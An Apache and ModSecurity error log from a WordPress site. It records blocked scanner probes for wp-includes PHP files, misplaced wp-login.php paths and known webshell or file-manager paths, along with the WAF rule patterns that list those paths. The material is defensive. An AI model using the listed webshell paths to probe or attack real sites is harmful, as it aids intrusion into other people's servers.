[Thu Feb 26 14:34:23.664768 2026] [:error] [pid 25311:tid 25324] [client 194.5.82.117:40743] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "aZ_pb9fdM__yZAgJFSsJdAAAAYo"]
[Thu Feb 26 14:34:24.462796 2026] [:error] [pid 54991:tid 55040] [client 194.5.82.121:39985] [client 194.5.82.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "aZ_pcN4Zx-mJ8gbRB2iWKAAAAFQ"]
[Thu Feb 26 14:34:25.266630 2026] [proxy_fcgi:error] [pid 25311:tid 25337] [client 194.5.82.128:21349] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:34:25.577075 2026] [:error] [pid 25311:tid 25335] [client 194.5.82.128:21349] [client 194.5.82.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.128, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aZ_pcdfdM__yZAgJFSsJewAAAZU"]
[Thu Feb 26 14:34:26.785278 2026] [:error] [pid 25311:tid 25314] [client 194.5.82.128:21349] [client 194.5.82.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "aZ_pctfdM__yZAgJFSsJfwAAAYA"]
[Thu Feb 26 14:34:28.869902 2026] [:error] [pid 25311:tid 25334] [client 194.5.82.125:20569] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/plugins.php"] [unique_id "aZ_pdNfdM__yZAgJFSsJhwAAAZQ"]
[Thu Feb 26 14:34:47.674227 2026] [:error] [pid 25311:tid 25319] [client 194.5.82.113:44801] [client 194.5.82.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.113, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aZ_ph9fdM__yZAgJFSsJ3QAAAYU"]
[Thu Feb 26 14:34:49.878531 2026] [:error] [pid 25311:tid 25329] [client 194.5.82.113:44801] [client 194.5.82.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.113, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aZ_pidfdM__yZAgJFSsJ5QAAAY8"]
[Thu Feb 26 14:34:51.989849 2026] [:error] [pid 25311:tid 25325] [client 194.5.82.113:44801] [client 194.5.82.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aZ_pi9fdM__yZAgJFSsJ7QAAAYs"]
[Thu Feb 26 14:34:52.466871 2026] [:error] [pid 25311:tid 25328] [client 194.5.82.164:42939] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aZ_pjNfdM__yZAgJFSsJ8QAAAY4"]
[Thu Feb 26 14:34:53.787806 2026] [:error] [pid 25311:tid 25333] [client 194.5.82.123:53077] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aZ_pjdfdM__yZAgJFSsJ9AAAAZM"]
[Thu Feb 26 14:34:58.378574 2026] [:error] [pid 25311:tid 25334] [client 194.5.82.134:63295] [client 194.5.82.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.134, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aZ_pktfdM__yZAgJFSsKCgAAAZQ"]
[Thu Feb 26 14:34:58.689748 2026] [:error] [pid 25311:tid 25326] [client 194.5.82.134:63295] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aZ_pktfdM__yZAgJFSsKCwAAAYw"]
[Thu Feb 26 14:35:00.205219 2026] [:error] [pid 25311:tid 25324] [client 194.5.82.118:59047] [client 194.5.82.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.118, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aZ_plNfdM__yZAgJFSsKFAAAAYo"]
[Thu Feb 26 14:35:06.796810 2026] [:error] [pid 25311:tid 25334] [client 194.5.82.118:59047] [client 194.5.82.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/editor/fxp.php"] [unique_id "aZ_pmtfdM__yZAgJFSsKWAAAAZQ"]
[Thu Feb 26 14:35:13.184082 2026] [:error] [pid 20419:tid 20426] [client 194.5.82.131:50331] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aZ_poe3DVDvMfTYYUBW0RQAAAcQ"]
[Thu Feb 26 14:35:21.399864 2026] [:error] [pid 3883:tid 3908] [client 194.5.82.156:47615] [client 194.5.82.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.156, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aZ_pqeA33x90V6yYHaiG5gAAAVY"]
[Thu Feb 26 14:35:27.889092 2026] [autoindex:error] [pid 3883:tid 3907] [client 194.5.82.156:47615] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 14:37:40.824047 2026] [authz_core:error] [pid 20419:tid 20442] [client 194.5.82.109:58527] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/system/
[Thu Feb 26 15:13:17.124266 2026] [:error] [pid 20419:tid 20435] [client 43.156.204.134:45886] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZ_yje3DVDvMfTYYUBXBgQAAAc0"]
[Thu Feb 26 17:08:14.370780 2026] [autoindex:error] [pid 55051:tid 55059] [client 40.115.138.121:21855] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 17:08:14.628322 2026] [proxy_fcgi:error] [pid 55051:tid 55075] [client 40.115.138.121:21855] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 17:08:14.746363 2026] [proxy_fcgi:error] [pid 55051:tid 55065] [client 40.115.138.121:21855] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 17:08:14.865530 2026] [proxy_fcgi:error] [pid 55051:tid 55072] [client 40.115.138.121:21855] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 17:08:15.751237 2026] [:error] [pid 55051:tid 55068] [client 40.115.138.121:21855] [client 40.115.138.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2021/01/16/upload-and-download-file-using-multipart-form-over-http/"] [unique_id "aaANfwmK1w2kZvh5eLEdbAAAAI4"]
[Thu Feb 26 17:08:16.209466 2026] [:error] [pid 3883:tid 3889] [client 40.115.138.121:1362] [client 40.115.138.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2021/01/16/upload-and-download-file-using-multipart-form-over-http/"] [unique_id "aaANgOA33x90V6yYHajtogAAAUM"]
[Thu Feb 26 17:08:16.805886 2026] [:error] [pid 3883:tid 3892] [client 40.115.138.121:1346] [client 40.115.138.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2021/01/16/upload-and-download-file-using-multipart-form-over-http/"] [unique_id "aaANgOA33x90V6yYHajtpQAAAUY"]
[Thu Feb 26 17:08:17.266244 2026] [:error] [pid 3883:tid 3899] [client 40.115.138.121:1048] [client 40.115.138.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2021/01/16/upload-and-download-file-using-multipart-form-over-http/"] [unique_id "aaANgeA33x90V6yYHajtqAAAAU0"]
[Thu Feb 26 18:25:39.910162 2026] [:error] [pid 55051:tid 55068] [client 34.145.87.115:60801] [client 34.145.87.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.87.115, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaAfowmK1w2kZvh5eLFGqgAAAI4"]
[Thu Feb 26 18:25:44.515639 2026] [:error] [pid 55051:tid 55069] [client 34.145.87.115:60801] [client 34.145.87.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaAfqAmK1w2kZvh5eLFGuAAAAI8"]
[Thu Feb 26 18:25:45.231906 2026] [:error] [pid 20419:tid 20442] [client 34.145.87.115:51163] [client 34.145.87.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaAfqe3DVDvMfTYYUBUFPQAAAdQ"]
[Thu Feb 26 18:25:45.909470 2026] [:error] [pid 55618:tid 55640] [client 34.145.87.115:61889] [client 34.145.87.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaAfqR61Vrh12f_8oWTKuAAAARM"]
[Thu Feb 26 18:25:46.604704 2026] [:error] [pid 55618:tid 55638] [client 34.145.87.115:57468] [client 34.145.87.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaAfqh61Vrh12f_8oWTKuwAAARE"]
[Thu Feb 26 18:25:47.337243 2026] [:error] [pid 55051:tid 55077] [client 34.145.87.115:49477] [client 34.145.87.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaAfqwmK1w2kZvh5eLFGvQAAAJc"]
[Thu Feb 26 18:25:48.057367 2026] [:error] [pid 25311:tid 25334] [client 34.145.87.115:53761] [client 34.145.87.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaAfrNfdM__yZAgJFStuGgAAAZQ"]
[Thu Feb 26 18:25:48.772376 2026] [:error] [pid 3883:tid 3895] [client 34.145.87.115:53100] [client 34.145.87.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaAfrOA33x90V6yYHagnVQAAAUk"]
[Thu Feb 26 18:46:22.058419 2026] [:error] [pid 20419:tid 20434] [client 193.37.32.41:49919] [client 193.37.32.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaAkfu3DVDvMfTYYUBUQfAAAAcw"]
[Thu Feb 26 18:46:22.740144 2026] [:error] [pid 25311:tid 25338] [client 193.37.32.24:20013] [client 193.37.32.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaAkftfdM__yZAgJFSt6kgAAAZg"]
[Thu Feb 26 18:46:23.682589 2026] [:error] [pid 3883:tid 3910] [client 193.37.32.50:43929] [client 193.37.32.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaAkf-A33x90V6yYHag_pQAAAVg"]
[Thu Feb 26 18:46:24.411921 2026] [:error] [pid 25311:tid 25327] [client 193.37.32.4:30527] [client 193.37.32.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaAkgNfdM__yZAgJFSt6qgAAAY0"]
[Thu Feb 26 18:46:25.478298 2026] [:error] [pid 54991:tid 55020] [client 193.37.32.43:24159] [client 193.37.32.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaAkgd4Zx-mJ8gbRB2i_9gAAAEA"]
[Thu Feb 26 18:46:25.823531 2026] [:error] [pid 20419:tid 20437] [client 193.37.32.5:49629] [client 193.37.32.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaAkge3DVDvMfTYYUBUQmQAAAc8"]
[Thu Feb 26 18:46:26.084662 2026] [:error] [pid 25311:tid 25325] [client 193.37.32.25:33695] [client 193.37.32.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaAkgtfdM__yZAgJFSt6uAAAAYs"]
[Thu Feb 26 18:46:26.314676 2026] [:error] [pid 25311:tid 25321] [client 193.37.32.14:20319] [client 193.37.32.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaAkgtfdM__yZAgJFSt6ugAAAYc"]
[Thu Feb 26 18:46:26.718812 2026] [:error] [pid 54991:tid 55036] [client 193.37.32.51:57923] [client 193.37.32.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaAkgt4Zx-mJ8gbRB2i_-wAAAFA"]
[Thu Feb 26 18:46:27.007765 2026] [:error] [pid 20419:tid 20433] [client 193.37.32.34:29925] [client 193.37.32.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaAkg-3DVDvMfTYYUBUQmwAAAcs"]
[Thu Feb 26 18:46:27.405057 2026] [:error] [pid 3883:tid 3895] [client 193.37.32.8:61907] [client 193.37.32.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaAkg-A33x90V6yYHag_vAAAAUk"]
[Thu Feb 26 18:46:27.853437 2026] [:error] [pid 25311:tid 25320] [client 193.37.32.52:24447] [client 193.37.32.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aaAkg9fdM__yZAgJFSt65QAAAYY"]
[Thu Feb 26 18:46:28.478376 2026] [:error] [pid 55051:tid 55073] [client 193.37.32.52:23297] [client 193.37.32.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaAkhAmK1w2kZvh5eLFXgQAAAJM"]
[Thu Feb 26 18:46:28.852366 2026] [:error] [pid 55051:tid 55058] [client 193.37.32.29:61465] [client 193.37.32.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaAkhAmK1w2kZvh5eLFXiQAAAIQ"]
[Thu Feb 26 18:46:29.272151 2026] [:error] [pid 25311:tid 25336] [client 193.37.32.11:62761] [client 193.37.32.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaAkhdfdM__yZAgJFSt67wAAAZY"]
[Thu Feb 26 18:46:30.333559 2026] [:error] [pid 55051:tid 55077] [client 193.37.32.27:32181] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaAkhgmK1w2kZvh5eLFXmgAAAJc"]
[Thu Feb 26 18:46:30.879364 2026] [:error] [pid 55618:tid 55635] [client 193.37.32.45:32841] [client 193.37.32.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaAkhh61Vrh12f_8oWTTzgAAAQ4"]
[Thu Feb 26 18:46:31.563469 2026] [:error] [pid 3883:tid 3896] [client 193.37.32.20:45459] [client 193.37.32.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaAkh-A33x90V6yYHag_xwAAAUo"]
[Thu Feb 26 18:46:31.985317 2026] [:error] [pid 20419:tid 20446] [client 193.37.32.38:54107] [client 193.37.32.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaAkh-3DVDvMfTYYUBUQqQAAAdg"]
